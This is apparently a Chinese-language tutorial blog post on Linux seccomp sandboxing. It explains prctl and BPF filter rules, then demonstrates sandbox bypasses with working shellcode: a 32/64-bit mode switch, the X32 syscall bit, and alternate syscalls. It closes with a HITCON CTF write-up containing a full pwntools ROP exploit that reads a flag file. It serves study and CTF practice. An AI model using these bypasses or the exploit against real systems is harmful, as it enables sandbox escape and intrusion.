Linux沙箱之seccomp

沙箱之seccomp~

沙箱

学操作系统的时候有学到,用户层一切资源相关操作都需要通过系统调用来完成,那么只要对系统调用进行某种操作,用户层的程序就翻不起什么风浪,即使是恶意程序也就只能在自己进程内存空间那一分田地晃悠,进程一终止它也如风消散了,这基本就是本篇接下来内容的总思路了。

seccomp

short for secure computing mode(wiki)是一种限制系统调用的安全机制,可以当沙箱用。在严格模式下只支持exit()sigreturn()read()write(),其他的系统调用都会杀死进程,过滤模式下可以指定允许那些系统调用,规则是bpf,可以使用seccomp-tools查看

prtcl

内容

想想上面几句话还是看不懂这是干啥的,现在就仔细记录一下,在早期使用seccomp是使用prctl系统调用实现的,后来封装成了一个libseccomp库,可以直接使用seccomp_init,seccomp_rule_add,seccomp_load来设置过滤规则,但是我们学习的还是从prctl,这个系统调用是进行进程控制的,这里关注seccomp功能。
首先,要使用它需要有CAP_SYS_ADMIN权能,否则就要设置PR_SET_NO_NEW_PRIVS位,若不这样做非root用户使用这个程序时seccomp保护将会失效!设置了PR_SET_NO_NEW_PRIVS位后能保证seccomp对所有用户都能起作用,并且会使子进程即execve后的进程依然受控,意思就是即使执行execve这个系统调用替换了整个binary权限不会变化,而且正如其名它设置以后就不能再改了,即使可以调用ptctl也不能再把它禁用掉。

1
prctl(PR_SET_NO_NEW_PRIVS,1,0,0,0);     //设为1

这样就可以开始使用自定义的过滤规则了,使用时,如下设置:

1
prctl(PR_SET_SECCOMP,SECCOMP_MODE_FILTER,&prog);//第一个参数要进行什么设置,第二个是设置为过滤模式,第三个参数就是过滤规则

现在重点介绍第三个参数–prog,它是指向如下结构体的指针,这个结构体记录了过滤规则个数与规则数组起始位置:

1
2
3
4
5
struct sock_fprog {
unsigned short len; /* Number of BPF instructions */
struct sock_filter *filter; /* Pointer to array of
BPF instructions */
};

而filter域就指向了具体的规则,每一条规则有如下形式:

1
2
3
4
5
6
struct sock_filter {            /* Filter block */
__u16 code; /* Actual filter code */
__u8 jt; /* Jump true */
__u8 jf; /* Jump false */
__u32 k; /* Generic multiuse field */
};

为了操作方便定义了一组宏来完成filter的填写(定义在/usr/include/linux/bpf_common.h):

1
2
3
4
5
6
#ifndef BPF_STMT
#define BPF_STMT(code, k) { (unsigned short)(code), 0, 0, k }
#endif
#ifndef BPF_JUMP
#define BPF_JUMP(code, k, jt, jf) { (unsigned short)(code), jt, jf, k }
#endif

这样会简单一点,再来看看code,它是由多个”单词”组成的”短语”,类似”动宾结构”,”单词”间使用”+”连接:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#define BPF_CLASS(code) ((code) & 0x07)         //首先指定操作的类别
#define BPF_LD 0x00 //将值cp进寄存器
#define BPF_LDX 0x01
#define BPF_ST 0x02
#define BPF_STX 0x03
#define BPF_ALU 0x04
#define BPF_JMP 0x05
#define BPF_RET 0x06
#define BPF_MISC 0x07

/* ld/ldx fields */
#define BPF_SIZE(code) ((code) & 0x18) //在ld时指定操作数的大小
#define BPF_W 0x00
#define BPF_H 0x08
#define BPF_B 0x10
#define BPF_MODE(code) ((code) & 0xe0) //操作数类型
#define BPF_IMM 0x00
#define BPF_ABS 0x20
#define BPF_IND 0x40
#define BPF_MEM 0x60
#define BPF_LEN 0x80
#define BPF_MSH 0xa0

/* alu/jmp fields */
#define BPF_OP(code) ((code) & 0xf0) //当操作码类型为ALU时,指定具体运算符
#define BPF_ADD 0x00 //到底执行什么操作可以看filter.h里面的定义
#define BPF_SUB 0x10
#define BPF_MUL 0x20
#define BPF_DIV 0x30
#define BPF_OR 0x40
#define BPF_AND 0x50
#define BPF_LSH 0x60
#define BPF_RSH 0x70
#define BPF_NEG 0x80
#define BPF_MOD 0x90
#define BPF_XOR 0xa0

#define BPF_JA 0x00 //当操作码类型是JMP时指定跳转类型
#define BPF_JEQ 0x10
#define BPF_JGT 0x20
#define BPF_JGE 0x30
#define BPF_JSET 0x40
#define BPF_SRC(code) ((code) & 0x08)
#define BPF_K 0x00 //常数
#define BPF_X 0x08

另在与SECCOMP有关的定义在/usr/include/linux/seccomp.h,现在来看看怎么写规则,首先是BPF_LD,它需要用到的结构为:

1
2
3
4
5
6
7
struct seccomp_data {
int nr; /* System call number */
__u32 arch; /* AUDIT_ARCH_* value
(在 <linux/audit.h> 里) */
__u64 instruction_pointer; /* CPU instruction pointer */
__u64 args[6]; /* Up to 6 system call arguments */
};

其中args中是6个寄存器,在32位下是:ebx,ecx,edx,esi,edi,ebp,在64位下是:rdi,rsi,rdx,r10,r8,r9,现在要将syscall时eax的值载入RegA,可以使用:

1
2
3
BPF_STMT(BPF_LD+BPF_W+BPF_ABS,0)                //这会把偏移0处的值放进寄存器A,读取的是seccomp_data的数据
//或者
BPF_STMT(BPF_LD+BPF_W+BPF_ABS,regoffset(eax))

而跳转语句写法如下:

1
BPF_JUMP(BPF_JMP+BPF_JEQ,59,1,0)                //这回把寄存器A与值k(此处为59)作比较,为真跳过下一条规则,为假不跳转

其中后两个参数代表成功跳转到第几条规则,失败跳转到第几条规则,这是相对偏移。
最后当验证完成需要返回结果,即是否允许:

1
BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_KILL)

过滤的规则列表里可以有多条规则,seccomp会从第0条开始逐条执行,直到遇到BPF_RET返回,决定是否允许该操作以及做某些修改。

例子

这是原程序,它将会在main里调用两个函数,并且返回结果:

1
2
3
4
5
6
7
8
9
10
11
12
#include <stdio.h>
#include <sys/prctl.h>
#include <linux/seccomp.h>
#include <linux/filter.h>
#include <stdlib.h>

int main()
{
printf(":Beta~\n");
system("id");
return 0;
}

结果为:

1
2
3
➜  ~ ./a.out
:Beta~
uid=0(root) gid=0(root) groups=0(root)

现在使用seccomp禁用所有系统调用,即在main开始处添加如下代码:

1
2
3
4
5
6
7
8
9
struct sock_filter filter[] = {                 //规则更改在此处完成
BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_KILL), //规则只有一条,即禁止所有系统调用
};
struct sock_fprog prog = { //这是固定写法
.len = (unsigned short)(sizeof(filter)/sizeof(filter[0])),//规则条数
.filter = filter, //规则entrys
};
prctl(PR_SET_NO_NEW_PRIVS,1,0,0,0); //必要的,设置NO_NEW_PRIVS
prctl(PR_SET_SECCOMP,SECCOMP_MODE_FILTER,&prog);//过滤模式,重点就是第三个参数,过滤规则

这样编译运行程序将直接终止,在printf处就会失败:

1
2
➜  ~ ./a.out
[1] 11763 invalid system call ./a.out

现在更改规则,让其允许其他系统调用,只禁止execve调用:

1
2
3
4
5
6
7
8
9
10
struct sock_filter filter[] = {
/*
BPF_STMT(BPF_LD+BPF_W+BPF_ABS,4), //用于检查arch
BPF_JUMP(BPF_JMP+BPF_JEQ,0xc000003e,0,2),
*/
BPF_STMT(BPF_LD+BPF_W+BPF_ABS,0), //将偏移0处,也就是系统调用号的值载入寄存器A
BPF_JUMP(BPF_JMP+BPF_JEQ,59,0,1), //当A == 59时,顺序执行下一条规则,否则跳过下一条规则,这里的59就是x64的execve系统调用号
BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_KILL), //返回KILL
BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_ALLOW), //返回ALLOW
};

现在编译运行,发现printf执行成功,system执行失败,因为 system内部调用了execve,而它被禁止了:

1
2
➜  ~ ./a.out
:Beta~

绕过

未检查arch

当未检查arch参数时,可以尝试转换当前的处理器模式(姑且这样叫),即在32位程序中转到64位或者相反,因为i386x86-64拥有不同的系统调用号,例如:程序为x86-64的并且禁止execve

1
2
3
11	64  	munmap			__x64_sys_munmap
59 64 execve __x64_sys_execve/ptregs
11 i386 execve sys_execve

若改变模式让其认为当前真在处理i386的程序,那么系统调用号11将不会被解析为__x64_sys_munmap而是sys_execve,这样就绕过了保护,于是这种利用需要满足:

  1. 未检查arch
  2. 调用号11未被禁止
  3. sys_mmapsys_mprotect能用

需求的前面两点已经提到原因,第三点是因为要转换CPU的处理模式,这在大部分情况下都找不到现成的gadget可使用,因为需要我们手动注入代码,即要注入shellcode并使其能够执行,因此需要这两个之一来获取可写可执行的内存,那么这个shellcode应该是什么呢?它的主要部分如下:

1
2
3
4
5
6
to32:                           ;;将CPU模式转换为32位
mov DWORD [rsp+4],0x23 ;;32位
retf
to64: ;;将CPU模式转换为64位
mov DWORD [esp+4],0x33 ;;64位
retf

原理为RETF指令,它能改变CS寄存器,当CS为0x23时表示当前为64位,当为0x33时表示为32位:

1
2
3
RETQ:POP RIP   
RETN: POP EIP
RETF: POP CS:EIP

现在拿出样例程序,和上面差不多:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#include <stdio.h>
#include <sys/prctl.h>
#include <linux/seccomp.h>
#include <linux/filter.h>
#include <stdlib.h>
#include <unistd.h>

extern void my_execve(char *,char**,char**); //为了学习方便,将shellcode直接编入
char *args[]={
// "/usr/bin/id",
"/bin/sh",
0
};
int main()
{
struct sock_filter filter[] = {
//BPF_STMT(BPF_LD+BPF_W+BPF_ABS,4), //这两步是检查arch的,先把注释掉,即不检查arch
//BPF_JUMP(BPF_JMP+BPF_JEQ,0xc000003e,0,2),
BPF_STMT(BPF_LD+BPF_W+BPF_ABS,0),
BPF_JUMP(BPF_JMP+BPF_JEQ,59,0,1),
BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_KILL),
BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_ALLOW),
};
struct sock_fprog prog = {
.len = (unsigned short)(sizeof(filter)/sizeof(filter[0])),
.filter = filter,
};
prctl(PR_SET_NO_NEW_PRIVS,1,0,0,0);
prctl(PR_SET_SECCOMP,SECCOMP_MODE_FILTER,&prog);

printf(":Beta~\n");
my_execve(args[0],args,0);
//execve("id",0,0);
return 0;
}
接下来的shellcode部分:
```asm
section .text
global my_execve

my_execve:
lea rsp,[stk] ;;如下所述,防止内存访问异常
call to32 ;;转换为32
mov eax,11 ;;32位的sys_execve 64位的sys_munmap
mov ebx,edi ;;32位和64位参数所用寄存器不同需要手动修改
mov ecx,esi
mov edx,edx
int 0x80 ;;32位不能使用syscall,只能使用此指令
ret
to32:
mov DWORD [rsp+4],0x23
retf

section .bss ;;这里创建了一个栈,因为to32后rsp只有低位也就是esp有效了,若不这样做它将会指向一个不可访问的区域,这将会导致访问异常
resb 1000 ;;在实际利用过程中找到一个可访问的低位地址就好了
stk:

另外Makefile为:

1
2
3
4
5
all: sec

sec: sec.c sec.asm
nasm -felf64 sec.asm -o sec.o
gcc sec.o sec.c -no-pie -o sec

现在就可以编译运行,发现/bin/sh执行成功,但是它无法执行任何命令:

1
2
3
4
5
➜  ~ ./sec
:Beta~
# ls
Bad system call
#

这是因为设置了PR_SET_NO_NEW_PRIVS以后即使execve这种用新装在的程序替换原来的程序,也会保留原来的seccomp设置,所以此时即使execve("/bin/sh", ["/bin/sh"], NULL)执行成功,新生成的shell也不能调用__x64_sys_execve执行新命令,也就是说我们只有一次执行execve的机会,于是解决办法就是在shellcode里面直接执行想要的操作,例如:

1
2
3
4
char *args[]={
"/usr/bin/id",
0
};

成功执行:

1
2
3
➜  ~ ./sec
:Beta~
uid=0(root) gid=0(root) groups=0(root)

x64下使用X32

还是上面的程序,但是这里就可以开启arch检查了,即把那两行检查arch的注释去掉,现在使用X32的方式绕过,它只工作在原来为64位的程序下。X32为x86-64下的一种特殊的模式,它使用64位的寄存器和32位的地址,此时nr会在原来的基础上加上__X32_SYSCALL_BIT (0X40000000),即原本的syscall number + 0x40000000,这会达到一样的效果,此时的shellcode的代码如下:

1
2
3
4
5
6
7
8
9
10
section .text
global my_execve

my_execve:
mov rax,59+0x40000000 ;;只需要把系统调用号加0x40000000即可
;;另外520 或 520+0x40000000 也能用
syscall
nop
nop
hlt

结果为:

1
2
3
➜  ubuntu ./sec
:Beta~
uid=0(root) gid=0(root) groups=0(root)

(奇怪的是我在kali下执行失败了,在Ubuntu下成功了,另外它同样继承了保护,只能执行一次execve)

其他syscall

看看有没有漏网之鱼呀:

1
2
3
4
358	i386	execveat		sys_execveat			__ia32_compat_sys_execveat
322 64 execveat __x64_sys_execveat/ptregs
545 x32 execveat __x32_compat_sys_execveat/ptregs
520 x32 execve __x32_compat_sys_execve/ptregs

root可使用ptrace

这种情况在比赛中很少,若root权限的程序漏洞被利用,但是由于seccomp无法执行大多数系统调用,而ptrace可用时也可以在其他进程里,包括root权限的进程里注入shellcode开启shell。

例题

impeccable-Artifact(hitcon-2017-qual)

分析

保护全开:

F5,在main里面是很明显的下标越界,算任意读写了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
int opt; // [rsp+8h] [rbp-658h]
int index; // [rsp+Ch] [rbp-654h]
__int64 v6[201]; // [rsp+10h] [rbp-650h]
unsigned __int64 v7; // [rsp+658h] [rbp-8h]

v7 = __readfsqword(0x28u);
init_0();
memset(v6, 0, 0x640uLL);
while ( 1 )
{
memu();
index = 0;
_isoc99_scanf("%d", &opt);
if ( opt != 1 && opt != 2 )
break;
puts("Idx?");
_isoc99_scanf("%d", &index);
if ( opt == 1 )
{
printf("Here it is: %lld\n", v6[index]); //这里可以任意读栈上的数据
}
else
{
puts("Give me your number:");
_isoc99_scanf("%lld", &v6[index]); //这里可以对任意位置任意写
}
}
return 0LL;
}

但是观察init_0里面有保护:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
unsigned __int64 sub_930()
{
__int16 v1; // [rsp+0h] [rbp-C0h]
char *v2; // [rsp+8h] [rbp-B8h]
char v3; // [rsp+10h] [rbp-B0h]
unsigned __int64 v4; // [rsp+B8h] [rbp-8h]

v4 = __readfsqword(0x28u);
qmemcpy(&v3, &off_C80, 0xA0uLL);
v1 = 20;
v2 = &v3;
prctl(38, 1LL, 0LL, 0LL, 0LL, *(_QWORD *)&v1, &v3);
if ( prctl(22, 2LL, &v1) )
{
perror("prctl");
exit(1);
}
return __readfsqword(0x28u) ^ v4;
}

直接使用seccomp-tools解析规则:

简单看下来,有两条可能利用的线路:

  1. sys_number != mprotect -> sys_number == args[2] -> ALLOW (即除了上图有的系统调用,其他所有只要第三个参数等于系统调用号就能过保护
  2. (sys_number == mmap || mprotect) -> args[2]&0x01 !=1 -> ALLOW (即在mmap或者mprotect时exec位不可被设置)

这里面涉及到mprotect,它的原型为int mprotect(void *addr, size_t len, int prot),其中地址必须按页对齐,一个常识就是在内存保护里面,即使没有读权限只要可写或可执行就一定可读!

利用代码

思路为:
0. 使用show泄露出程序、libc的地址
1. 编写shellcode:open->write
2. 将shellcode写入bss上
3. 使用ROP调用mprotect(bss,len,PROT_WRITE|PROT_EXEC)更改bss

  1. 使用ROP完成 open->write

利用代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
#!/usr/bin/env python
# coding=utf-8
from pwn import *

elf = ELF("./artifact")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
p = process("./artifact")
context.clear(arch='amd64')
def r(offset):
p.sendlineafter("Choice?","1")
p.sendlineafter("Idx?",str(offset))
p.recvuntil("Here it is:")
return int(p.recvuntil("\n").strip())

def w(offset,number):
p.sendlineafter("Choice?","2")
p.sendlineafter("Idx?",str(offset))
p.sendlineafter("number:",str(number))

def ww(of,data):
data = data.ljust((len(data)//8+1)*8,'\0')
for i in range(0,len(data)/8):
w(of+i,u64(data[i*8:i*8+8]))
log.info("offset:%d => 0x%x"%(of+i,u64(data[i*8:i*8+8])))

def e():
p.sendlineafter("Choice?","3")

## 泄露出libc和stack的地址
libc.address = r(0x658/8)-0x2409b
log.success("libc -> 0x%x"%libc.address)

#argvAddr = r(0x10/8)
#log.success("argvAddr -> 0x%x"%argvAddr)

#dataBaseAddr = argvAddr - 0x995
dataBaseAddr = r(-0x10/8)
log.success("dataBaseAddr -> 0x%x"%dataBaseAddr)

#environAddr = libc.symbols["environ"]

## 写rop
#rop = ROP(ELF("/usr/lib/x86_64-linux-gnu/libc-2.28.so"),libc.address)
rop=ROP(libc)
#rop.open("flag.txt",0,0x101) #第三个数和系统调用号一致,即为2
rop.read(3,dataBaseAddr,100) #一般新打开的文件描述符都是3,硬编码了
rop.write(1,dataBaseAddr,100) #
#gdb.attach(p,"brva 0xBA5")
#raw_input("#")
pl = str(rop)
payload = pl[0:0x20]+p64(u64(pl[0x20:0x28])+dataBaseAddr+0x658)+pl[0x28:]
syscallAddr = 0xb5f05 + libc.address
popRdxRsiRet = 0x106b39 + libc.address
popRdiRet = 0x23a5f + libc.address
popRaxRet = 0x3a6f8 + libc.address
payload = flat(popRdiRet,dataBaseAddr,popRdxRsiRet,2,0,popRaxRet,2,syscallAddr) + str(rop)
ww(0,"flag.txt")
ww(0x658/8,payload)
e()
p.interactive()

结果:

1
2
3
4
[*] Process './artifact' stopped with exit code -11 (SIGSEGV) (pid 10993)
flag{BetaMao233333~}
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00[*] Got EOF while reading in interactive
$

参考

http://www.selinuxplus.com/?p=370
STCS 2016 by winesap
http://www.man7.org/linux/man-pages/man2/seccomp.2.html
http://www.man7.org/linux/man-pages/man2/prctl.2.html
https://code.woboq.org/linux/linux/include/uapi/linux/filter.h.html
https://code.woboq.org/linux/linux/include/uapi/linux/bpf_common.h.html
https://github.com/torvalds/linux/blob/master/arch/x86/entry/syscalls/syscall_32.tbl
https://github.com/torvalds/linux/blob/master/arch/x86/entry/syscalls/syscall_64.tbl
题目 artifact 下载